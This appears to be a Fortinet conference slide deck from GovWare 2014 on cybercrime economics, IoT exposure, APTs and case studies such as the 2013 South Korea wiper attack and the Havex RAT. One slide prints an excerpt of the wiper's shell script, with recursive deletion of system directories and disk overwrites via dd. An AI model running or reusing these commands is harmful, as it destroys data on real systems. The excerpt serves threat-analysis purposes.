Casting Light on a Dark Web
GovWare 2014

Derek Manky
Global Security Strategist
This document contains confidential material proprietary to Fortinet, Inc.

This document and information and ideas herein may not be disclosed, copied, reproduced or distributed to anyone outside Fortinet, Inc. without prior written consent of Fortinet, Inc.

This information is pre-release and forward looking and therefore is subject to change without notice.

The purpose of this document is to provide a statement of the current direction of Fortinet's product strategy and product marketing efforts.

Please note that this Product Roadmap is neither intended to bind Fortinet to any particular course of product marketing and development nor to constitute a part of the license agreement or any contractual agreement with Fortinet or its subsidiaries or affiliates.
What is FortiGuard?
FortiGuard Threat Research & Response

- FortiGuard Antivirus Service
- FortiGuard Application Control Service
- FortiGuard Intrusion Prevention Service
- FortiGuard Web Filtering Service
- FortiGuard Vulnerability Management Service
- FortiGuard Antispam Security Service
- FortiGuard Web Security Service
- FortiGuard Database Security Service
- FortiGuard IP Reputation Service
- Anti-Botnet
FortiGuard - Industry Leaders

Awards & Certifications

- NSS Labs Recommend
- ICSA labs Certified IPSec-Basic
- ICSA labs Certified Web Application Firewall
- ICSA labs Certified Anti-Virus
- ICSA labs Certified Network IPS
- ICSA labs Certified Anti-Spam
- Firewalls Corporate
- AV 100 Virus Compatible
- AV Test Approved Corporate Protection Endpoint
- AV Top Rated Comparatives 2013

35 Awards

Partnerships & Industry

- Microsoft
- Adobe
- stop badware Partner
- FIRST
- SPAMHAUS
- ICST
- EXODUS INTELLIGENCE
- KISA
- MITRE
- ICS-CERT

INDUSTRIAL CONTROL SYSTEMS CYBER EMERGENCY RESPONSE TEAM
Four Problems
We Face
Problem 1: Accelerated Threat Volume

55,000
Spam e-mails intercepted

650,000
Network intrusion attempts resisted

15,000
Malware programs neutralized

150,000
Attempts to access malicious websites blocked

94,000
Botnet command and control attempts thwarted

24 Million
Website categorization requests

5,700
Application control rules

120 Terabytes
of threat samples

15,900
Intrusion prevention rules

250 Million
rated websites in 78 categories

143
Zero-Days discovered

170
Intrusion prevention rules

8,000
Hours of research in labs around the globe

800,000
New and updated antivirus definitions

66 Million
New and updated antispam rules

2.7 Million
URL ratings for web filtering

170,000
Intrusion prevention rules
Cause: Crimeware & Crime Services

- Quality Assurance
  - Crypiers/Packers Scanners
- Hosting
  - Infections
  - Drop Zones Management
- Botnet Rentals
  - Installs
  - Spam
  - SEO
  - DDoS
- Money Mules
  - (Accounts Receivable)
- Consulting

Enablers:
- CRIME SERVICES
  - Bank Accounts
  - Credentials & Data
  - Digital Real Estate

Producers:
- Exploits
- Special Platforms
- Source Code
- Copy & Paste
- Junior Developers
- Senior Developers
- Mobile
- Packers

Victims & Criminal Organizations:
- Sales, Licensing, Maintenance
- Affiliates
- Partnerships

Compounded Cybercrime...
Problem 2: Growing Attack Surface

The Internet of what things?

- SCADA Industrial
- Vehicles
- Routers
- Power Switches
- Windows Mobile
- External Hard Drives
- iPhone
- Android
- Home Automation
- Security Cameras
- Printers
- Fridges
- ATMS
Problem 2: Growing Attack Surface

208.98.144.10: Moxa
lightningdetect.finte.com
Fruitland: United States
Vulnerability IDs:
(16981) Moxa Device Manager Tool 2.1 Buffer Overflow
(16682) Moxa MediaPlayback ActiveX Control Buffer Overflow

2012: Eireann Leverett, Mapped Vulnerabilities to Critical Systems
Problem 3: Integrated Attack Transit

An Extensive, Poisoned, Dark, Deep Web
Problem 3: Integrated Attack Transit

An Extensive, Poisoned, Dark, Deep Web

- June 2013: South Korea DDoS
  - Hacked Korean website (Simdisk)
  - TOR C&C Module (Deep Web)
  - Nameserver takedown (DDoS)
What are APTs? ATAs ??
Defining Advanced Persistent Threats – D.S.I.

**Disguise**
- Advanced threats focus on disguise to slip past security detection

**Survivability**
- Persistent threats aim to survive on systems as long as possible

**Impact**
- Hard drive killers
- Stolen IP, customer data
- Blackmail & Ransom
- Critical infrastructure

Detect Disguise, Kill the Chain
Reduce Survivability, Break Impact
Problem 4: APT and ATA

Advanced Targeted Attack:
APT + Target
Case Studies & Threat Activity
2014 Threat Landscape Developments

Q2 2014 (IDC):
301.3M Smart Phones Shipped
Android 84.7% Market

February:
Drive-By Mobile
(DriveGenie)

June:
Pletor Mobile Ransom
(Doc Encryption)

July:
Dorkbot/Ngrbot
Kamikaze

- IoT: The Moon Worm Linksys Routers
- Heartbleed: Vulnerable OpenSSL
- Apple iCloud Ransomware:
  $100 EUR
  Oleg Pliss
- Havex RAT: OPC Server Spy
- Cybervor: 1.2B User & Pass
  500M emails
- The Moon Worm
  Linksys Routers
- Heartbleed
  Vulnerable OpenSSL
- Apple iCloud Ransomware
  $100 EUR
  Oleg Pliss
- Havex RAT
  OPC Server Spy
- Cybervor
  1.2B User & Pass
  500M emails
- Supervalu Data Breach,
  200 Stores Affected
- February:
  Drive-By Mobile
  (DriveGenie)
- June:
  Pletor Mobile Ransom
  (Doc Encryption)
- July:
  Dorkbot/Ngrbot
  Kamikaze
Detected IoT Activity on Radar

1H 2014

Global Threat Traffic – Top Hacking Attempts
Fortinet Threat Landscape Report, 1H 2014

Heartbleed

27 Million Attacks
Spike of Activity in April 2014, Slowly Waning

Conficker

6 Million Attacks
Circa 2008, Windows RPC NetAPI Vulnerability

Embedded IoT

5 Million Attacks
Dlink IP Security Camera – Command Injection
Case Study: South Korea APT ‘Kast’

**3.20.2013 - South Korea Attacks**

```
dd_for_sun()
{
    rm -rf /kernel/ &
    rm -rf /usr/adm/ &
    rm -rf /etc/ &
    rm -rf /home/ &
    rm -rf /
    PRTTOC='\$WHICH prtutoc'
    DISK='ls /dev/dsk ! grep s2'
    for DISK_PART in $DISK
        do
            mnt_info='$PRTTOC /dev/dsk/$DISK_PART ! grep Mount'
            if [ `expr "$mnt_info" : "."` & gt 0 ]
                then
                    DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
                    fi
        done
}

dd_for_linux()
{
    rm -rf /kernel/ &
    rm -rf /usr/ &
    rm -rf /etc/ &
    rm -rf /home/ &
```

**Suspicious Activity**
- **March 12th, 2013**
  - Malware Planted
- **March 20th, 2013**
  - Botnet Servers Detected
  - Botnet Servers Mitigated
  - KISA Request (FortiGuard)
- **+4 Hours**
  - Malware Mitigated
  - AV Sig (Flow)
- **12 Hours**
  - Botnet Flow Mitigated
  - AV Sig (CPRL)
  - AppCtl (Botnet)
- **48 Hours**
  - Blog Analysis

ZERO-DAY MALWARE USED
- Overwrote hard drives
- Detonated simultaneously
**Havex ("Operation Dragonfly")**

- **What is Havex?**
  - Rat (‘Remote Administration Tool’)
  - Harvests information on hardware control systems (SCADA)
  - First since Stuxnet

- **What is OPC?**
  - OLE for Process Control
  - Communication between Windows & control hardware
  - OPC servers control machines via PLC
Havex ("Operation Dragonfly")

Havex:
- 3 years development, 68+ versions
- 09/2011: v0x01 - Hardcoded server, BZIP + XOR
- 12/2011: v0x1B - Public - key cryptography
- 06/2012: v0x21 - Information harvesting added
- 07/2013: v0x37 - Configuration encryption (not hardcoded)

Source: FortiGuard Labs

XML Tree of Information Harvested

Dumped reconnaissance file from Havex RAT
(From FortiGuard Labs replication & analysis)
Havex Connected
Fortinet’s Advanced Threat Protection Framework

Access Control
- Firewall
- 2 Factor Authentication
- Vulnerability Management

Continuous Monitoring
- Reporting
- FortiGuard research
- SIEM/Log Mgt/Intelligence
- Service partners

Threat Prevention
- IPS, App Control
- Deep Flow Antimalware
- Email/Web Filter
- Antibot

Threat Detection
- Sandbox
- Network behavioral analysis
- Client reputation
- Botnet reporting

Incident Response
FortiGuard Services - Device Quarantine - FortiGuard Updates

Recommended Products
- FortiGate
- FortiSandbox
- FortiAuthenticator
- FortiAnalyzer
- FortiManager
Founding Member (May 2014)

› Vendor driven threat intelligence alliance
› Beyond the buzz word
› Working with DHS & MITRE for STIX/TAXII implementation

› Pioneering Actionable Threat Intelligence
  › Information sharing committee
  › Correlated threat intelligence

› [http://cyberthreatalliance.org](http://cyberthreatalliance.org)
Questions?